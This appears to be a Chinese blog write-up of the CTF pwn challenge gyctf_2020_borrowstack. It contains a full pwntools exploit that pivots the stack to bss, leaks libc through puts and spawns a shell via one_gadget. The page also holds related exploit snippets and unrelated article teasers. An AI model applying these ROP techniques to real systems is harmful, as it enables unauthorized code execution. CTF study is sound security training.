【pwn】 gyctf_2020_borrowstack

gyctf_2020_borrowstack buu刷题gyctf_2020_borrowstack【wp】 阅读详情

例行检查
在这里插入图片描述
程序逻辑
在这里插入图片描述
看到buf缓冲区有0x10大小溢出,且可以控制bss段上的bank,可以用栈迁移做,这题的bss段离got表较近,在迁移时尽量往高地址迁移,防止在rop时破坏got表上数据。

from pwn import *

io=remote('node3.buuoj.cn','29302')

bank=0x0601080
leave=0x400699
puts_plt=0x04004E0
puts_got=0x0601018
pop_rdi=0x400703
main=0x0400626
ret=0x4004c9

io.recvuntil('u want')
pl1='a'*0x60+p64(bank)+p64(leave)
io.send(pl1)
io.recvuntil('now!')
pl2=p64(ret)*20+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.send(pl2)
io.recvline()
puts_add=u64(io.recv(6).ljust(8,'\x00'))
libc_base=puts_add-0x06f690
one_gadget=libc_base+0x4526a
pl3='a'*0x60+'bbbbbbbb'+p64(one_gadget)
io.send(pl3)
io.send('a')

io.interactive()
栈迁移实战:从原理到利用——以borrowstack为例解析ROP链构造与one-gadget应用 本文深入解析栈迁移技术在漏洞利用中的实战应用,以borrowstack为例详细讲解ROP链构造与one-gadget的使用技巧。通过控制RBP/RSP寄存器实现栈空间转移,结合ret2csu万能gadget完成函数调用,最终利用one-gadget获取shell权限,为二进制安全研究提供实用参考。 阅读详情

相关推荐

gyctf_2020_borrowstack.py

gyctf_2020_borrowstack.py

GYCTF 2020-borrowstack

borrowstack的题目分析 2020-03-1210:46:10 by hawkJW 题目附件、ida文件及wp链接   这道题的漏洞很明显,思路也比较明显,但就是有坑!!!学习一下 1. 程序流程总览 首先,按照惯例,我们看一下程序开启的保护措施,如图所示 除了栈上不可以执行以外,其余的保护措施基本没有开启,因此该程序的保护措施还是比较松的。 下面我们来粗略的浏览一下...

Eagle_hwei的博客 1408

Qt Creator设计器里也能拖拽?5步将你的QML自定义控件变成可视化插件(Qt6.5+)

本文详细介绍了如何在Qt Creator设计器中实现QML自定义控件的可视化拖拽功能(Qt6.5+)。通过5个步骤,从构建可插件化的QML控件基础到部署插件到设计器环境,帮助开发者将自定义控件转化为设计器插件,提升团队协作效率。特别适合需要频繁调整UI样式的开发场景。

weixin_29214559的博客 171

栈帧劫持的一些利用方法及注意事项--buuctf--gyctf_2020_borrowstack

前言 最近在刷buuctf时发现了很多栈帧劫持的题目,从中取出最有代表性的、坑最多的拿出来写一篇博客记录一下。 保护机制 64位Linux程序,只开了NX保护。 解题思路 IDA看伪代码 伪代码分析 从代码中我们可以看到,read读入buf的字节大小只多了0x10,这样是不能构成ROP链的,但是我们发现,程序下面给了我们一个bank的bss段的地址,这不就是典型的劫持栈帧到bss段吗? 但是这里有一个坑: 我们可以看到got.plt距离bss段非常近,而bank又正好是在0x601080的位置,当我们

PLpa的博客 733

Fast-LIO2轮速计融合实战:打滑检测与协方差调参避坑指南

多传感器融合是提升移动机器人定位鲁棒性的关键手段。在激光雷达与惯性测量单元(IMU)紧耦合的基础上,加入轮式编码器作为额外的速度约束,能够有效抑制长走廊、重复纹理等退化场景下的漂移。其核心原理是通过运动学模型将轮速转换为机体系速度,并作为因子引入迭代误差状态卡尔曼滤波器(ESIKF)。然而,打滑现象与协方差参数设置是融合成败的关键。本文从工程实践出发,系统梳理了传感器配置、外参标定、打滑检测策略(运动学一致性、轮速自洽性)以及观测噪声协方差R与初始协方差P0的调参方法,并给出实测参数与问题排查速查表,为在F

weixin_34159110的博客 433

告别QQ截图!用C# Winform + 百度AI,自己动手做一个免费的文字提取小工具

本文详细介绍了如何利用C# Winform和百度AI OCR接口开发一款免费的文字提取工具,替代QQ截图功能。通过智能截图模块、OCR服务集成和主界面功能整合,实现高效准确的文字识别,适用于日常办公和学习场景。工具支持图像预处理、异步处理和错误日志记录,提升用户体验和识别准确率。

weixin_30566063的博客 380

【GYCTF2020】borrowstack------<栈迁移原理、ret2csu万能gadget、one-gadget工具>

【GYCTF2020】borrowstack知识点关键字样本知识点详解0x1 ret2csu原理0x2 栈迁移原理0x3 one-gadget 工具样本分析0x1 静态分析0x2 payload 构造0x3 动态调试0x4 exp参考文献 知识点关键字 栈迁移、ROP、csu万能gadget、one-gadget 样本 样本来自于GYTF2020_borrowstack,BUUCTF上有练习环境 知识点详解 0x1 ret2csu原理 动机: 在 64 位程序中,函数的前 6 个参数是通过寄存器传递

qq_21746331的博客 2137

18、改进的LSTM用于污染物浓度预测

本文探讨了改进的长短期记忆网络(MLSTM)在空气污染预测中的应用,重点分析了其对印度泰米尔纳德邦五个城市(金奈、塞勒姆、哥印拜陀、马杜赖和图蒂科林)的PM2.5、PM10、SO2和NO2四种污染物浓度的预测效果。通过与传统LSTM模型的对比实验,结果显示MLSTM在预测准确性和执行效率方面均优于LSTM。研究结果表明,MLSTM在空气质量预测领域具有较高的应用潜力,可为环境保护和空气质量管理提供有力支持。

j0k1l2m3n的博客 175

[BUUCTF]PWN——gyctf_2020_borrowstack

gyctf_2020_borrowstack 附件 步骤: 例行检查,64位程序,开启NX保护 本地运行一下程序,看看大概的情况 64位ida载入,直接从main函数开始看程序, buf可以溢出0x10字节,只能够覆盖到ret,参数bank在bss段上,所以打算在buf处利用leave指令去劫持栈,让它跳转去bank处,往bank里写入我们的ret2libc的攻击链去获取shell 随便找个leave指令的地址,leave=0x400699 bank在bss段上的地址 设置rdi寄存器的指令地

mcmuyanga的博客 2092

YOLOv8【第一章:基础入门篇·第1节】一文搞定,核心架构深度解析与环境配置!

🏆 本文收录于 《YOLOv8实战:从入门到深度优化》 专栏,该专栏专注于分享我在YOLOv8目标检测模型中的实战经验,涵盖从入门基础到深度优化的全方位解决方案。无论你是计算机视觉的新手,还是具有多年深度学习经验的专家,本专栏都将为你提供高效、可复现的技术方案,助你掌握YOLOv8的核心技术,提升目标检测性能,突破瓶颈,优化模型,并加速项目开发🚀!

**My Coding Family** 2104

让 ABAP 再次优雅:全面认知 ABAP Development Tools for SAP HANA(ADT)与可运行示例

本文介绍了ABAP开发工具ADT(ABAP Development Tools for SAP HANA)的核心概念与价值。ADT是基于Eclipse的现代化ABAP集成开发环境,支持ABAP Platform、S/4HANA等后端开发,提供代码编辑、CDS数据建模、质量检查等全流程功能,相比传统SAP GUI具有显著优势。文章详细阐述了ADT与SAP HANA的关系、关键能力模块(如代码重构、CDS建模、质量管控等),并通过一个制造企业案例说明其实际应用场景。最后提供了ADT安装指南和一个完整的ABAP

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 671

[BUUCTF-pwn]——gyctf_2020_borrowstack

[BUUCTF-pwn]——gyctf_2020_borrowstack exploit from pwn import * from LibcSearcher import * p = remote('node3.buuoj.cn',28602) #p = process('./gyctf_2020_borrowstack') elf = ELF('./gyctf_2020_borrowstack') #libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') #g

Y_peak的博客 476

1.2 Spring AI V1.1.2版本 架构全景:模块拆解与设计哲学

Override// 检查请求的 Token 数量throw new TokenLimitExceededException("请求超出 Token 限制");@Override// 记录实际消耗的 Token@Override// 最先执行// 接口// 不同实现// 使用方无需改变定义抽象,保证可移植性提供 Fluent API,提升开发体验Advisor 机制提供扩展点,支持灵活定制模块化设计让你只引入需要的依赖自动配置。

小林夕程的博客 220

PWN入门实战:利用栈迁移和ret2csu在64位程序中绕过NX保护(以GYCTF2020 borrowstack为例)

本文深入解析64位程序漏洞利用中的栈迁移与ret2csu技术,以GYCTF2020 borrowstack为例,详细讲解如何绕过NX保护。通过ROP技术组合使用栈迁移和ret2csu,解决栈空间不足和寄存器控制难题,实现稳定利用。文章包含实战代码示例和调试技巧,适合二进制安全研究人员参考。

weixin_30279315的博客 558

面试问题总结——关于YOLO系列(三)

接着上篇的的YOLO系列面试问题总结,加油,冲! 三.YOLOv3 1.YOLOv3主干网络BackBone——Darknet-53网络结构(因为有53个卷积层) (原论文中Darknet53的尺寸是在图片分类训练集上训练的,所以输入的图像尺寸是256x256,而在YOLOv3中输入尺寸是416×416)   ①上图中,Top-1 Accuracy和Top-5 Accuracy是指什么呢?区别在哪呢?   我们知道ImageNet有大概1000个分类,而模型预测某张图片时,会给出1000个按概率从高.

boss-dog 1万+

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

gyctf_2020_borrowstack栈迁移题目分析

一道64位的迁移到bss段的题目。

aksghj的博客 576

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

buuctf (pwnable_start)(babyfengshui_33c3_2016)(gyctf_2020_borrowstack)(ciscn_2019)(hitcontraining_h)

可以通过先申请几个小堆块chunnk0,1,2,3,再利用off by one漏洞用0修改1的大小,把2和一造成重叠,然后再申请回来,通过1把2的存储堆块指针的地方修改为free的got表地址,这样就能dump出来泄露libc,然后计算system,再修改free的got为system函数地址,然后free3就能getshell了。存储字符的时候,三个4字节大小的部分分别是printf的地址(相当于dump)free堆块的操作地址,存储字符的堆块的地址。

cainiao78777的博客 380

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

BUUCTF--gyctf_2020_borrowstack1

迁到什么地方呢,肯定就是这个bank所在的地方了。我们还需要考虑一些细节上的东西,首先我们需要知道libc的基地址,因此我们需要通过puts函数来泄露。后续的操作就很简单,通过泄露的puts函数地址,计算出libc的基地址,当程序再次回到主函数时,直接将栈上的返回地址覆盖成one_gadget拿到权限。接下来的操作基本都是pop,因此rsp是从低地址到高地址跑(每次pop,rsp+8),所以我们顺序布局就可以。old_rbp覆盖成我们的bss段,让rbp指过去,接着返回地址需要再调用一次leave。

qq_30528603的博客 822

gyctf_2020_borrowstack 1

在read buf处存在栈溢出漏洞,但只能溢出8字节,而后面有向bss段bank处读入数据,我们就可以通过栈迁移,借用bank处的bss段构建栈,但因为该bss段距离.got.plt段非常近,所以要通过在bank处构建的payload时先填充20个ret指令的地址从而实现抬高栈,这样就不会覆盖到got表处了,抬高20个可能是因为后面又要回到main函数,而main函数中要执行sub esp 60h这样如果没有抬栈就会由于主函数中的操作将got段覆盖掉。该题还有一个就是用了一个工具one_gadget。

weixin_74861133的博客 686

BUUCTF gyctf_2020_borrowstack

第一个read的只能溢出0x10字节,也就是刚好覆盖返回地址,如果要ROP地方肯定不够 所以栈迁移到bank,在那里ROP 之前没遇到过这样的题,怎么迁过去我苦思冥想,最终还是看了wp,,用两个leave来控制rsp和rbp寄存器,太妙了 leave是个伪代码,,分解开就是 mov rsp,rbp pop rbp 如果把栈构造成这样 ‘A’ * 0x60 bank_addr leave_...

BengDouLove的博客 1006

关于“gyctf_2020_borrowstack”,涉及栈迁移(pivoting),通用gadge,one_gadget

我们首先给出wp: from pwn import* context.log_level='debug' p=remote('node4.buuoj.cn',26985) elf=ELF('./barop') p_rdi=0x400993 puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] read_got=elf.got['read'] lbic=ELF('./libc-2.23.so') p.recvuntil("u!") ```python p.sen

Probeginner的博客 406
上一篇: 【pwn】 cmcc_simplerop
下一篇: 【pwn】 roarctf_2019_realloc_magic
评论 7
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值